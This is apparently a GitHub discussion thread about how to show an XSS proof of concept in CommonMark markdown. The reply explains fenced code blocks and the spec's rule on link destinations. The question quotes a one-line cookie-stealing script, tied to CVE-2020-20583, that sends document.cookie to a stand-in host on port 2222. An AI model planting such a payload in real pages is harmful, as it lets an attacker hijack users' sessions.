Question: script markdown transformation #638
-
I have below script used in CVE-2020-20583 and to be transformed into common mark format: <script>new Image ().src="http://test.com:2222/"+document.cookie; </script>I tried below two methods:
|
Beta Was this translation helpful? Give feedback.
Replies: 1 comment
-
Using three backticks creates a fenced code block which will render the code as-is - good for sharing code examples
Yes, as I mentioned yesterday, the CommonMark spec does not allow for ASCII spaces within link destinations, including ones that are actually malicious XSS links like your example. |
Beta Was this translation helpful? Give feedback.
Using three backticks creates a fenced code block which will render the code as-is - good for sharing code examples
Yes, as I mentioned yesterday, the CommonMark spec does not allow for ASCII spaces within link destinations, including ones that are actually malicious XSS links like your example.